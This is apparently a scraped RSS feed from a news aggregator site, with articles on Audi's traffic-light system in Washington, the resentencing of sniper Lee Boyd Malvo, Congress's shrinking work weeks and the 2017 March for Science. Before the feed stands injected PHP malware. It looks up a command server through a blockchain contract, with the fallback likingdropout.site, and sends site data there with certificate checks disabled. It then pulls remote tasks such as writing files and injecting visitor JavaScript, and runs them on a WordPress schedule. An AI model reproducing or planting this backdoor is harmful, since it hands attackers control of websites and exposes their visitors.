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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); D.C. – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 19 Mar 2018 13:05:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png D.C. – Brief News https://briefnews.eu 32 32 Audi takes V2I Traffic Light Information system to Washington, D.C. https://briefnews.eu/audi-takes-v2i-traffic-light-information-system-to-washington-d-c/ https://briefnews.eu/audi-takes-v2i-traffic-light-information-system-to-washington-d-c/#respond Mon, 19 Mar 2018 13:05:37 +0000 http://briefnews.eu/audi-takes-v2i-traffic-light-information-system-to-washington-d-c/

Audi announced Washington, D.C., as the seventh U.S. metropolitan area for the rollout of its Traffic Light Information (TLI) system. When a driver in a TLI-equipped Audi stops at a red light, the vehicle-to-infrastructure (V2I) technology pulls stoplight data from Traffic Technology Services servers to let the driver know when the light will turn green. A countdown timer appears in the dash cluster, and in the heads-up display if the vehicle has one. More than 600 D.C. intersections work with TLI.

Presently the only thing TLI can do is provide the time-to-green display, but Audi has much larger plans. The showcase element in the first prototype system showed in 2014 was Green Light Optimized Speed Advisory (GLOSA), which performed the opposite trick. GLOSA communicated with infrastructure to figure out the appropriate speed needed to hit as many consecutive green lights as possible. When a driver did inevitably hit a red light, the TLI would count down to green, and it would manage the vehicle’s stop-start system, firing up the engine five seconds before the green. We’re still a few years away from that.

Ultimately, though, Audi envisions tying such V2I developments into the navigation system to aid traffic flow. The company said widespread, consistent use in Germany alone would cut that country’s carbon dioxide emissions by 15 percent and save 238 millions gallons of fuel per year.

After enabling TLI in Las Vegas in 2016, Audi and Traffic Technology Services have added Dallas and Houston, Palo Alto and Arcadia, Calif., Portland, Ore., and Denver. Including the nation’s capital, 1,600 intersections will provide information to vehicles. BMW offers similar tech called EnLighten, but it’s an app that only works when a driver connects an iPhone to the iDrive system. Audi’s TLI works strictly through the vehicle, bundled into Audi Connect Prime subscriptions.

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]]> https://briefnews.eu/audi-takes-v2i-traffic-light-information-system-to-washington-d-c/feed/ 0 An ‘Activist Hotel’ Will Soon Be a Thing in Washington D.C. https://briefnews.eu/an-activist-hotel-will-soon-be-a-thing-in-washington-d-c/ https://briefnews.eu/an-activist-hotel-will-soon-be-a-thing-in-washington-d-c/#respond Tue, 14 Nov 2017 15:44:36 +0000 http://briefnews.eu/an-activist-hotel-will-soon-be-a-thing-in-washington-d-c/

Soon-to-Open Hotel For Activists

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Washington, D.C. Adds Two New Michelin One-Star Restaurants

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Flight Review: Lufthansa (747-8) Business, DC to Frankfurt

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Delta Launches Biometric Boarding in Washington, D.C.

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]]> https://briefnews.eu/delta-launches-biometric-boarding-in-washington-d-c/feed/ 0 Elon Musk Claims the NYC to Washington, D.C. Hyperloop Is a Go https://briefnews.eu/elon-musk-claims-the-nyc-to-washington-d-c-hyperloop-is-a-go/ https://briefnews.eu/elon-musk-claims-the-nyc-to-washington-d-c-hyperloop-is-a-go/#respond Thu, 20 Jul 2017 18:37:10 +0000 http://briefnews.eu/elon-musk-claims-the-nyc-to-washington-d-c-hyperloop-is-a-go/

Elon Musk Claims the NYC-Washington, D.C. Hyperloop Is a Go

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Deal Alert: Washington, D.C. to Ireland From $ 350 Round-Trip

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]]> https://briefnews.eu/deal-alert-washington-d-c-to-ireland-from-350-round-trip/feed/ 0 Judge overturns life sentences for D.C. sniper Lee Boyd Malvo https://briefnews.eu/judge-overturns-life-sentences-for-d-c-sniper-lee-boyd-malvo/ https://briefnews.eu/judge-overturns-life-sentences-for-d-c-sniper-lee-boyd-malvo/#respond Sat, 27 May 2017 03:08:45 +0000 http://briefnews.eu/judge-overturns-life-sentences-for-d-c-sniper-lee-boyd-malvo/ Lee MalvoDavis Turner/Reuters

A federal judge on Friday tossed out life prison terms for one of two men convicted in a deadly Washington, area shooting spree, saying he must be re-sentenced in light of a US Supreme Court ruling, the Washington Post reported.

Lee Boyd Malvo, 32, was one of two men found guilty in the series of sniper shootings in the fall of 2002 that killed 10 people, wounded three others and left residents of Washington, suburbs traumatized.

His co-defendant, John Allen Muhammad, was sentenced to death and executed in 2009.

Malvo, who was 17 at the time of the shootings, was sentenced to life in prison without the possibility of parole.

In 2012, the US Supreme Court ruled such sentences unconstitutional for juveniles and later found that the ruling should be applied retroactively.

US District Judge Raymond Jackson cited that Supreme Court decision in ordering that Malvo be re-sentenced, the Post reported.

The ruling does not affect Malvo’s convictions or the six life sentences that he was given in Maryland, the paper reported, although his attorneys are appealing those as well.

In the years following his conviction Malvo said he was sexually abused by Muhammad from the age of 15 until the time they embarked on the shooting spree from inside a blue Chevrolet Caprice.

They were arrested in October, 2002 after police discovered the pair sleeping in the car at a rest stop in Maryland.

(Reporting by Dan Whitcomb; Editing by James Dalgleish)

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]]> https://briefnews.eu/judge-overturns-life-sentences-for-d-c-sniper-lee-boyd-malvo/feed/ 0 Could Congress Prevent the Looming Shutdown by Spending More Time in D.C.? https://briefnews.eu/could-congress-prevent-the-looming-shutdown-by-spending-more-time-in-d-c/ https://briefnews.eu/could-congress-prevent-the-looming-shutdown-by-spending-more-time-in-d-c/#respond Sun, 23 Apr 2017 08:22:04 +0000 http://briefnews.eu/could-congress-prevent-the-looming-shutdown-by-spending-more-time-in-d-c/ April began with no apparent progress toward a deal to keep the government running with a deadline fast approaching, so Congress did what it does best: It left town for a two-week recess. Lawmakers return Monday with just four days to wriggle out of a familiar jam. As governing-by-crisis amid toxic political disputes has increased, so too have lawmakers’ absences from the Capitol. According to an analysis by the Bipartisan Policy Center:

The number of workdays Congress spends in Washington has declined 10 percent over the past decade.

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U.S. House members spent just 227 days working in Washington in 2015 and 2016 — 31 percent of their time. The numbers have fluctuated, particularly in the less predictable Senate, but a decades-long downward trend is clear. Members of Congress chafe at the idea that recess means playtime, and they do put in long hours meeting with folks back home and traveling overseas on fact-finding missions. (Not that their time in Washington is always spent on the nation’s business, with oodles of hours budgeted for lobbyist-jammed fundraisers and “call time” to ask for more campaign money.) But actual legislating happens only when Congress is in town.

You can’t run a superpower on a Wednesday.

Tom Daschle, co-founder, Bipartisan Policy Center, former Senate majority leader

Improved air travel and a political imperative to stay in touch with constituents mean that lawmakers and their families now tend to live in their home states instead of in the D.C. area. They spend Washington nights in grungy group houses — the pad that Sen. Chuck Schumer shared with three fellow Democrats became fodder for a sitcom — or in cots in their offices, all the more incentive to ditch town sooner. “We have slowly moved to be a Congress that tends to be working Tuesday to Thursday,” says John Fortier, director of the Democracy Project at the Bipartisan Policy Center. Fortier cited a saying by Tom Daschle, a BPC co-founder and former Senate majority leader: “You can’t run a superpower on a Wednesday.”

Funding disputes such as the one boiling over this week are nothing new — there were eight brief government shutdowns under President Ronald Reagan — but Congress’ spending failures have become egregious. Friday’s deadline is itself the result of a punt from the end of the fiscal year in September, by which point Congress is supposed to clear 12 separate bills to fund each corner of the government. Instead, as has become routine, a “continuing resolution” kept the government essentially on autopilot.

Granted their extension, lawmakers still did not use the intervening months to debate and vote on those 12 bills. Instead, a deal negotiated behind the scenes will be put forth in the coming days, leaving the rank and file little time to scrutinize it. The same bastardized process has played out for years. “We don’t even try to do the appropriations bills anymore,” says Jamie Dupree, a longtime radio reporter for Cox Media Group. “When I first came to Capitol Hill as a reporter in the 1980s, your memory of June and July was a blur, because you worked late on Tuesday, Wednesday and Thursday as the House and Senate did spending bills, and a blizzard of amendments and big issues would be brought up.”

While there are plenty of reasons why Congress hasn’t passed its spending bills on time since 1996, less time in Washington clearly is a factor. “Appropriations bills take time,” Fortier says. “They take floor time, and they take committee time. … Concentrated time and expertise and focus on these things would make a difference in getting these things done.”

BPC recommends five-day workweeks, with every fourth week on recess. Congress, so far, hasn’t acted on that input. For now, newly returned lawmakers will spend the next few days scrambling for a deal to keep the government open — and go home for the weekend.

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Just inside the entrance to the Washington Monument, a handful of people hold black and white signs bearing the words ADA assistance. As one one man walks by, he briefly pauses to consider their message. “Americans with Disabilities Act, or Ada Lovelace?” he says. “She was a great mathematician.”

It’s just shy of 9AM in Washington D.C., where thousands of scientists, researchers, academics, doctors, students, and concerned citizens are gathering on the damp grass surrounding the landmark. They’ve come from New York, Philadelphia, Maryland, New Mexico, and across the U.S. to show their support for science. Scientists have been planning a March on Washington since late January, shortly after Donald Trump took office.

Scientists and their supporters don’t usually march — but recent events have troubled them. Under Trump, scientists have been silenced; his attempted immigrantion ban directly threatened international scientific collaboration; he’s signed executive orders that will destroy efforts to fight climate change; his proposed budget cuts for 2018 slash funding for crucial scientific research. Though the March for Science has done its best to maintain its political neutrality (Per March for Science PR: “The goal of the March for Science is to highlight the valuable role science plays in society and policy, and to demonstrate deep public support for science”), it has been widely understood as a protest of these policies. D.C. is only one march — more than 600 “satellite” demonstrations took place worldwide.

Perhaps significantly, before the March took place, there was much rending of garments and gnashing of teeth about whether science was political (which: yes, always! But not necessarily partisan) from one camp. Another group of scientists felt the March wasn’t political enough. Last month, Stat reported infighting among organizers as disagreements broke out over how the movement should handle diversity — or in some cases, lack thereof. The split was so severe Memphis actually had two Marches for Science. In the run-up to the March, dueling op-eds made it increasingly unclear who the March is actually for, and who might actually come.

Earth Day dawns cold, gray, and very wet in D.C. As marchers filter into the Washington Monument grounds, they crowd around a small stage near the obelisk. Many people are sporting lab coats, goggles, and brain caps — the science answer to pink pussy hats — to go along with their protest signs. They parade by with phrases more clever — and dorky — than you average demonstration. “STEMinist,” read several, while a young man marches past with a sign that simply says “[citation needed].” Others are direct: “Climate change is real.” “Believe us.” “Grab a book, not a pussy.”


We begin with science lessons. Dozens of speakers, from young women in STEM programs to Bill Nye the science guy, give lightning-fast talks on science and its importance. Attendees gather on the massive lawn, signs in hand, as it starts to rain more heavily. It’s miserable to be out in the open, but people gamely shake their signs in the face of bad weather.

Lindsay and Michael Fitch — a pediatrician and a physicist, respectively — have come from Baltimore. Michael says that their trip was spurred on by the need for scientists to have room to come up with accurate data in order to help politicians make the best policy decisions. “I feel like there are people trying to do that in the reverse order,” he says. “The politicians are trying to decide what the answer is, and interfere with science. That’s not the way to do the right thing for our country and the world.”

Lindsay says that it’s not a scientist’s job to hide information that doesn’t fit with someone’s ideology. She points to the EPA gag orders. “Wantonly disregarding science and defunding science is a disaster for our future,” she says. “And then there’s global warming, and that’s not gonna stop.” Disregarding basic facts, ignoring the scientific method, and attempting to make decisions without consulting that evidence is how “bad decisions get made.” It’s like saying 2+2=5 and ignoring everything else, she says.

Facts and truth seem to be on everyone’s mind at the march. Throughout the micro-talks, several speakers will openly deride Kellyanne Conway’s infamous comment about “alternative facts,” or policy makers that want to ignore the issue of climate change. It has highlighted the political quality of sifting out facts and observations to determine truth. Over and over, marchers told me they wanted evidence-based political policy, and independent science. Facts are often homely things, but the demonstrators treasure them all the same.

Justus McMillan, a geology major from Maryland, says he’s come to D.C. to support “good science and facts.” He’s attending the march alone, but felt it was important to come. “There’s a lot of misinformation about what science is and what good science is,” he says. Another attendee, Laura O’Brien, credits her “unapologetically nerdy” family as part of her reason for attending. “We love science,” says O’Brien. “We believe in science. We have family members who have been saved by science. It’s important. Facts matter.”

Chris Round is an environmental scientist, specializing in climate change and climate policy, and he says he’s afraid the current administration will squander an opportunity to curtail climate change. But he’s also here for more personal reasons. Round does consulting work for the federal government — and Trump’s budget cuts will eliminate his job as well as his funding for his doctorate.

In fact, several of Trump’s policies hit close to home for Round. Lots of people who work in science and engineering are foreign-born, and come to the US to study. “I went to school with many people like that,” he says. “If we don’t let these people come and learn science, we’re gonna lose out on opportunities to have great minds potentially stay here and help the United States grow. If people go elsewhere — and Silicon Valley has seen this to an extent — if people go elsewhere, then American science loses out.”

On-stage, speakers dash in and dash out. Music breaks up the monotony, including on-the-nose performances from people like Thomas Dolby singing “She Blinded Me With Science.” By 2PM, when the march is ready to begin, these talks have begun to feel — for a moment, at least — redundant. Thousands of intelligent, science-concerned individuals have already gathered to demonstrate their belief in its importance. Hours of talks from like-minded thinkers, brilliant though they may be, feels like preaching to choir. But sometimes even the choir wants the reassurance of a sermon; people are here, at least in part, to be reminded that they are not alone. Facts do matter. Facts do matter to an awful lot of people, and some of them are here.

Scientists have often struggled to communicate with the public that frequently funds their work. While basic research has historically been a great investment, government funding for science has stagnated over the last decade. Some scientists feel that the way to bolster funding is to communicate better with their ultimate funders, the ordinary tax payer. But many scientists haven’t learned this skills. One speaker, Tyler DeWitt, a YouTube star who specializes in explaining chemistry, told a story about a young girl talking to a grad student. The girl’s enthusiastic question about science was met with an overly complicated, dull answer. “We can’t talk like that grad student,” DeWitt said. “If you care about science if you use science, I beg you, explain what you do and why it’s important. But ditch the jargon. Make an effort … We cannot complain about the slashed funding if we can’t tell taxpayers why science matters.”


Explaining science to the public might seem trivial — but most scientists aren’t taught how to communicate effectively with an ordinary audience. As a result, many aren’t very good at it. And this kind of outreach work often isn’t paid, either — it’s a pro-bono effort, and a lot of scientists are busy doing their actual paid work. Those who do tend to do outreach work sometimes sacrifice their own scientific careers in the process. Bill Nye doesn’t do research, after all; outreach is his full-time job.

As the march finally gets underway, people seem eager to be moving. “Hey hey! Ho ho! Alternative facts have got to go!” becomes one of the many rallying cries of the day. Occasionally, a cascade cheers from the front of the march flows through the snaking line like sports fans doing the wave at a game.

As people parade down Constitution Avenue, protesters who have peeled off from the snaking line stand to the sides. They hold their signs and shout words of encouragement to those still walking. “Scientists, they can see you!” shouts a man near the street’s edge. “Now make them hear you!”

The crowd roars in response, chanting “Science! Not Silence!” as the rain finally starts to lighten. How scientists will communicate with the public, the government, and each other following the march remains to be seen. If the run-up to today is any indication, it will likely be messy — but then, so’s science itself.

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